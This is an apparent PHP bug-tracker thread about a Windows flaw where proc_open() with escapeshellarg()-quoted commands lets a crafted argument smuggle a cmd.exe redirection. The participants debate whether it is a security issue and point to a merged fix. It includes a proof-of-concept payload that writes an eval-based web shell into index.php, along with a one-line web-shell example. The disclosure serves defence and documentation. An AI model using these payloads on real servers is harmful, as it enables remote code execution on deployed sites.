I think the provided test script can be simplified:

  file_put_contents('index.php', "<?eval(\$_GET['cmd'])?>");

In other words, if you actively support such nonsense, of course,
all security is gone.

@cmb I'm not sure I understand your response. Isn't the purpose of escapeshellarg() to make some dynamic input safe to use as an argument? To exploit this, the argument is provided by the user, but the executable is static.

There are legitimate ways this can come up. This is a less contrived example:

<?php
// user input
$_GET['encoding'] = "^<?eval^(\$_GET['cmd']?^> >index.php 2>&1";

function systemNoOutput(string ...$command): void {
    $pipes = [];
    // system() doesn't capture stderr
    $p = proc_open(
        implode(' ', array_map('escapeshellarg', $command)),
        [1 => ['pipe', 'w'], 2 => ['pipe', 'w']],
        $pipes
    );
    foreach ($pipes as $pipe) {
        fclose($pipe);
    }
    proc_close($p);
}

// ignored errors for invalid encodings
systemNoOutput('iconv', '-t', 'utf-8', '-f', $_GET['encoding'], '../path/to/uloaded/file', '-o', '../path/to/uploaded/file');
?>

There is no way to use the iconv extension to performantly convert an entire file, so using the shell makes sense. That script has no security problems on Linux, but it introduces a vulnerability on Windows.

Ah, took me a while, but now I understand!  At first, I though the
user input would be $_GET['cmd'], and the rest was hard-coded in
your script (which would be bad).

So in your first script escapeshellarg() does exactly what it is
supposed to do:

    escapeshellarg("^<?eval^(\$_GET['cmd'])?^> >index.php 2>&1 ")
    => "^<?eval^($_GET['cmd'])?^> >index.php 2>&1 "

One problem is that you are also escaping the command name, so
basically you're calling

    proc_open("type" "^<?eval^($_GET['cmd'])?^> >index.php 2>&1 ", …)

Without bypass_shell=true, this is exactly the same as executing

    cmd /c "type" "^<?eval^($_GET['cmd'])?^> >index.php 2>&1 "

This causes the following to be executed

    type" "^<?eval^($_GET['cmd'])?^> >index.php 2>&1 

And this causes the dangerous error message to be written to
index.php.

One could argue that proc_open() with bypass_shell=false should
implicitly escape the $cmd, i.e.

    cmd /c "type"" ""^<?eval^($_GET['cmd'])?^> >index.php 2>&1 ""

I have to think about that.

> Ah, took me a while, but now I understand!  At first, I though the user input would be $_GET['cmd'], and the rest was hard-coded in your script (which would be bad).

Makes sense. That would be very bad.

> One could argue that proc_open() with bypass_shell=false should implicitly escape the $cmd

Agreed, but cmd escaping is weird, so it has to be

  cmd /c "type^" ^"^^^<?eval^^^($_GET['cmd']^)?^^^> ^>index.php 2^>^&1 "

@cmb Has there been any progress on this?

Sorry for the late reply.

After reconsideration, I don't think this qualifies as security
issue, because you certainly don't want untrusted users to specify
the command to run (opposed to some arguments to a certain
command), and as such you usually don't need to escapeshellarg()
the command name, and even if you have to, you quickly notice
during development that it won't work.  So it's quite unlikely
that such code ever hits production.

I'd like to get more opinions from others on whether this should
be regarded as security issue, or not.

I agree with the sentiment. The reason why I consider this a security issue is that it would show up very easily in a generic function similar to systemNoOutput(), which I demonstrated above. People coming from other languages will probably be familiar with that sort of interface, rather than calling escapeshellarg() repeatedly. It's definitely a rarer case though.

As for this bug being obvious, it wasn't caught in PHPUnit for a while:
https://github.com/sebastianbergmann/phpunit/pull/2211

I believe this happened because a particular Windows code path wasn't covered, which I would imagine being the case for pretty much every instance of where this bug exists. If developers are working primarily on Linux, this bug could go unnoticed, especially if errors are ignored for commands expected to fail on Windows.

Thanks for the report. Both variants of the code are passing unsanitized input to the shell. The escaping functions are not the way to sanitize input. Say, for iconv, first it would be to either have charset list supported by iconv. Or at least cut off anything but alnum and '-' maybe.

The code shown is also vulnerable in other ways, as the passed input might land in a database, logs, etc. So it doesn't seem to be a security issue on the PHP side.

With regard to the shell escaping - Windows is not consistent on this. The required escaping might be different for different commands. If this is changed to only fit cmd, something else will be broken.

Thanks.

I understand your concerns. The problem is that there is sometimes no better way. If you are sending user input to some custom executable, for example, many users would see no problem with using escapeshellarg(), because that suits its purpose, based on the documentation. If commands were only passed safe arguments, escapeshellarg() would probably not exist.

The escaping would only need to handle cmd.exe escaping. I am not saying that proc_open() should be rewritten to take an array of arguments, although that would probably be safer. I am just saying that the command passed to proc_open() should be escaped so that it is always passed as a single argument to cmd.exe, which has a defined escaping algorithm.

Also, logs should never be executed, so there should not be a problem if they contain malicious commands.

Another option is to rewrite the description of escapeshellarg() to say that it shouldn't be given user input, but then there's no way to safely use the shell with dynamic input.

Thanks for all comments so far!  Since I didn't receive further
input on other channels as well, let's review what we have.

> Both variants of the code are passing unsanitized input to the
> shell. The escaping functions are not the way to sanitize input.

It seems to me there are cases where this is not possible (at
least not fully), namely if the user supplied input is supposed to
be passed as mere data to an external command, for instance, to
`openssl passwd`.  A respective code snippet:

    $input = $_GET['password'];
    if (preg_match('/[^ -~]/', $input)) {
        die('only printable ASCII characters allowed');
    }
    $cmd = 'openssl passwd ' . escapeshellarg($input);
    $proc = proc_open($cmd, $descs, $pipes);

This looks like pretty safe code to me.  Now consider that the
openssl executable is not necessarily in the path, so it is made
configurable:

    const OPENSSL = 'path/to/openssl';

Since this path may contain spaces, the developer duly adapts:

    $cmd = escapeshellarg(OPENSSL) . ' passwd ' . escapeshellarg($input);

After OPENSSL has been properly configured, the code runs as
expected on Linux, but fails on Windows, because additional
quoting would be required.  If the code is only tested on Linux,
but also deployed on Windows, an attacker is able to create a
remote shell, if OPENSSL doesn't contain spaces, because the whole
$cmd is interpreted as the command by cmd.exe, and redirection of
STDERR to a file can be triggered, resulting in something like the
following file contents:

  'openssl" passwd "<?eval($_GET['cmd'])?>' is not recognized as
  an internal or external command, operable program or batch file.

> Agreed, but cmd escaping is weird, so it has to be […]

`cmd /c` escaping is special[1], and it may fall back to the old
behavior:

| Otherwise, old behavior is to see if the first character is
| a quote character and if so, strip the leading character and
| remove the last quote character on the command line, preserving
| any text after the last quote character.

So basically, we could simply add the /s option to enforce the old
behavior, and put a single set of double-quotes around the
(already properly escaped) $cmd.

Doing this automatically would break existing code, though, which
already does that manually, and it doesn't look like there's any
reasonably sane way to detect whether additional quoting has to be
applied.  We could, however, introduce a new option, say
quote_shell_command[2], which has to be passed to proc_open() to
add the quotes (and the /s flag).

> I am not saying that proc_open() should be rewritten to take an
> array of arguments, […]

For what it's worth, this is already available as of PHP 7.4.0,
but only supported for bypass_shell==true.

[1] <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmd#remarks>
[2] <https://gist.github.com/cmb69/aa8296994e683fdb2e9d6fbce4fbebda>

After further discussion with team-mates, I don't think this is
really a security issue.  After all, code would only be vulnerable
in rare edge-cases, and these would be caught by thorough testing
(testing code on Linux only, but deploying on Windows as well,
should never be done).

Neither do I think any longer that adding a new option to
proc_open() would be sensible; instead I submitted PR #5102[1]
which is about making the quoting consistent for all program
execution functions, and which also would solve the issue reported
in this ticket.  Of course, due to the potential BC break, that PR
can only target master.

For PHP 7, the current behavior should be thoroughly and
prominently documented. Therefore I'm re-categorizing as
documentation problem.

[1] <https://github.com/php/php-src/pull/5102>

Sorry for not responding to your last comment. I wasn't notified by the bug tracker.

> If the code is only tested on Linux, but also deployed on Windows, an attacker
> is able to create a remote shell, if OPENSSL doesn't contain spaces

Yes.

> For what it's worth, this is already available as of PHP 7.4.0

Great, that should make escaping a lot easier to get right.

> code would only be vulnerable in rare edge-cases, and these would be caught by
> thorough testing (testing code on Linux only, but deploying on Windows as
> well, should never be done).

Yes, that's true. This is a rare issue.

Still, it's good to see this issue taken seriously and getting fixed.

The mentioned pull request[1] has already been merged a while ago.
Now the issue has been documented[2].

[1] <https://github.com/php/php-src/pull/5102>
[2] <http://svn.php.net/viewvc?view=revision&revision=349245>